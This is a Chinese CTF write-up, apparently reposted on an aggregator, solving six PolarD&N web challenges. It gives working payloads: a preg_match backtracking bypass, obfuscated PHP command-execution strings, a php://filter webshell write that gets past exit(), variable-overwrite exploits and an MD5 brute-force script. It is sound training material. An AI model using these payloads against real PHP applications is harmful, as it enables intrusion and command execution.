PolarD&N靶场题解

这篇具有很好参考价值的文章主要介绍了PolarD&N靶场题解。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

#PolarD&N CTF靶场

web

1、swp

PolarD&N靶场题解,ctf PolarD&N,网络安全
直接开扫,得到.index.php.swp文件,下载下来。vim -r .index.php.swp
PolarD&N靶场题解,ctf PolarD&N,网络安全
绕过preg_match,preg_match回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。借此绕过areyouok。
payload如下

import requests 
from io import BytesIO
data=BytesIO(b'Baby PHP'+b'a'*1000000)
post_dict = {'greeting': data}

res=requests.post("http://xxx/",data=post_dict)
print (res.content)

2、简单rce

PolarD&N靶场题解,ctf PolarD&N,网络安全
POST一个yyds=666,GET需要绕过过滤,注意末尾有个空格。

命令执行函数:

system()
passthru()
exec()
shell_exec()
popen()/proc_open()
未过滤passthru(),可使用该函数执行命令。

读文件命令

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看

空格替代
<,<>,${IFS},$IFS,%20(space),%09(tab),$IFS$9,$IFS$1
payload1

sys=passthru(‘sort%09/flag’);

payload2

sys=“\163\171\163\164\145\155”(‘whoami’);

"\x70\x68\x70\x69\x6e\x66\x6f"();#phpinfo();
"\163\171\163\164\145\155"('whoami');#system('whoami');
"\u{73}\u{79}\u{73}\u{74}\u{65}\u{6d}"('whoami');#system('whoami');
"\163\171\163\164\145\155"("\167\150\157\141\155\151");#system('whoami');
.......


字符串转义绕过
适用PHP版本:PHP>=7

以八进制表示的\[07]{1,3}转义字符会自动适配byte(如"\400" == “\000”)
以十六进制的\x[0–9A-Fa-f]{1,2}转义字符表示法(如“\x41")
以Unicode表示的\u{[0–9A-Fa-f]+}字符,会输出为UTF-8字符串
payload3
<?php
var_dump(urlencode(~'system'));
var_dump(urlencode(~'cat /flag'));
?>

sys=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98);

3、到底给不给flag呢

PolarD&N靶场题解,ctf PolarD&amp;N,网络安全

GET,POST需要有一个满足key为flag的传参。并且value不能等于flag,foreach变量覆盖。
若想输出执行到最后输出flag,那么变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值,
也就是说在foreach内的变量覆盖过程,需要实现

$$key = $flag

$$value = $flag

$$key = $flag

payload如下
#GET参数
?flag=Polar
#POST参数
_GET[flag]=flag
代码执行过程如下

第一个foreach 循环处理$_POST数组,传值为_GET[flag]=flag,变量覆盖过程为

$$key = $value;

$key = "_GET";
var_dump($value);#array(1) { ["flag"]=> string(4) "flag" }
$$key = $value;#array(1) { ["flag"]=> string(4) "flag" }

此时注意GET数组的值,$ _GET["flag"]=Polar,而经过$_POST的变量覆盖,$ _GET =array(1) { ["flag"]=> string(4) "flag" } ,故而最开始传GET参数时?flag=xxx,可等于任意值。因为会被POST变量覆盖完成后的值覆盖。

第二个foreach 循环处理$_GET数组,变量覆盖过程为
$$key = $$value;

$key=flag;
$value=flag;
$$key=$$value;
$$key=$flag;
$flag=$flag;

即实现上述所说,

变量覆盖时候不能将 $flag 的值等于除 $flag 外的任意值

完成!

4、写shell

PolarD&N靶场题解,ctf PolarD&amp;N,网络安全
需要绕过exit(),网上很多,直接上payload

GET ?filename=php://filter/string.strip_tags|convert.base64-decode/resource=s1mple.php
POST content=?>PD9waHAgZWNobyhzeXN0ZW0oJ2NhdCAvZmxhZycpKTs=

大佬链接:https://xz.aliyun.com/t/8163/#toc-5

5、PHP是世界上最好的语言

PolarD&N靶场题解,ctf PolarD&amp;N,网络安全

原理同3、到底给不给flag呢 ,直接上payload

GET
?_POST[flag1]=8gen1&_POST[flag2]=8gen1

POST
504[SYS.COM=123&sys=echo $flag;

注意,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

6、veryphp

PolarD&N靶场题解,ctf PolarD&amp;N,网络安全
$str需要绕过正则,php://input 内容经过extract()处理后需要出现$shaw_root并且内容符合正则,得到提示。
正则在线网站:https://c.runoob.com/front-end/854/ 可自行调试。
直接上payload:

shaw root=-a9<b><b><b><b>>>>>abcphp@Rs1
注意,变量名出现空格在上一题解释过

得到hint
Here is a hint : md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5

爆破脚本如下

for i in xrange(999999):
    mymd5 = hashlib.md5()
    mymd5.update('shaw'+str(i)+'root')
    mymd5 = mymd5.hexdigest()

    if mymd5 =='166b47a5cb1ca2431a0edfcef200684f':
            print i
            break
   

call_user_func()调用qwq类的oao()
payload如下

shaw root=-a9<b><b><b><b>>>>>abcphp@Rs1&ans=21475&my ans=qwq::oao文章来源地址https://www.toymoban.com/news/detail-719255.html

到了这里,关于PolarD&N靶场题解的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 网络安全常用靶场推荐

    sqli-labs sqli-labs包含了大多数的sql注入类型,以一种闯关模式,对于sql注入进行漏洞利用 下载地址:https://github.com/Audi-1/sqli-labs xss challenges xsschallenges是一个专对于XSS漏洞练习的在线靶场,包含了各种绕过,各种姿势的XSS利用 下载地址:XSS Challenges (by yamagata21) - Stage #1 xss-labs

    2024年02月12日
    浏览(49)
  • 网络安全、夺旗赛(CTF)技能汇总_ctf夺旗赛

    本文综合博主参赛准备经历,总结介绍了过程中了解的网络安全、夺旗赛(CTF)相关知识及资源,分为资料篇、工具篇、解题思路篇。 资料篇 CTF Wiki 对CTF整体介绍,各个方向的介绍,有例题,入门必备。 CTF工具集合 集成了工具资源,方便下载。 如果你对网络安全入门感兴

    2024年02月07日
    浏览(51)
  • 网络安全CTF比赛有哪些事?——《CTF那些事儿》告诉你

    目录 前言 一、内容简介 二、读者对象  三、专家推荐  四、全书目录   CTF比赛是快速提升网络安全实战技能的重要途径,已成为各个行业选拔网络安全人才的通用方法。但是,本书作者在从事CTF培训的过程中,发现存在几个突出的问题: 1)线下CTF比赛培训中存在严重的

    2024年02月08日
    浏览(51)
  • 网络安全CTF之Web基础

    Web类的考试,在CTF比赛中十分常见。 本人从计算机专业转网络安全发展,属于半路出家,一知半解,如有总结不到位的地方,欢迎交流分享。 攻防世界Web Web基础中,常见的考点如下: 1、源代码隐藏 打开网页,显示 FLAG is not here。 F12查看源代码,取得flag 2、GET和POST传参 G

    2024年02月07日
    浏览(50)
  • (蓝宝书)网络安全——CTF那些事儿

    欢迎关注博主 Mindtechnist 或加入【智能科技社区】一起学习和分享Linux、C、C++、Python、Matlab,机器人运动控制、多机器人协作,智能优化算法,滤波估计、多传感器信息融合,机器学习,人工智能等相关领域的知识和技术。关注公粽号 《机器和智能》 回复 “python项目

    2024年02月08日
    浏览(93)
  • 【网络安全CTF】BUUCTF(Basic篇)

    解题思路:已给用户名密码,直接用ssh工具连接即可获取flag 查找flag在跟下 提交完成。 访问链接:为php代码审计题,看题目要求构造GET请求读取文件 http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag 访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。

    2024年02月13日
    浏览(43)
  • 网络安全:CTF入门必备之题型介绍

    CTF 题目类型一般分为 Web 渗透、RE 逆向、Misc 杂项、PWN 二进制漏洞利用、Crypto 密码破译。 在传统的CTF线上比赛中,Web类题目是主要的题型之一,相较于二进制、逆向等类型的题目,参赛者不需掌握系统底层知识;相较于密码学、杂项问题,不需具特别强的编程能力,故入门

    2024年02月10日
    浏览(60)
  • 【安全学习】-网络安全靶场实训演练系统建设方案

    第1章需求分析 1.1建设需求 1.2建设目标与内容 第2章系统整体建设 2.1设计思想 2.2建设目标 2.3架构设计 2.4系统设计 2.4.1基础平台系统设计 2.4.2实训分系统设计 2.4.3考核分系统设计 2.4.4拓扑设计分系统设计 2.4.5模拟仿真系统设计 2.4.5.1网络仿真 2.4.5.2安全仿真 2.4.5.3系统监控 2.

    2024年02月03日
    浏览(45)
  • 什么是CTF?打CTF的意义是什么?(附网络安全入门教程)

    什么是CTF? CTF在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式。它起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式。发展至今,已经成为全球范围网络安全圈流行的竞赛形式,2013年全球举办了超过五十

    2024年02月13日
    浏览(40)
  • 【网络安全】CTF-AWD入门手册

    AWD赛制是一种网络安全竞赛的赛制。AWD赛制由安全竞赛专家及行业专家凭借十多年实战经验,将真实网络安全防护设备设施加入抽象的网络环境中,模拟政府、企业、院校等单位的典型网络结构和配置,开展的一种人人对抗的竞赛方式,考验参赛者攻防兼备的能力。其主要特

    2024年02月12日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包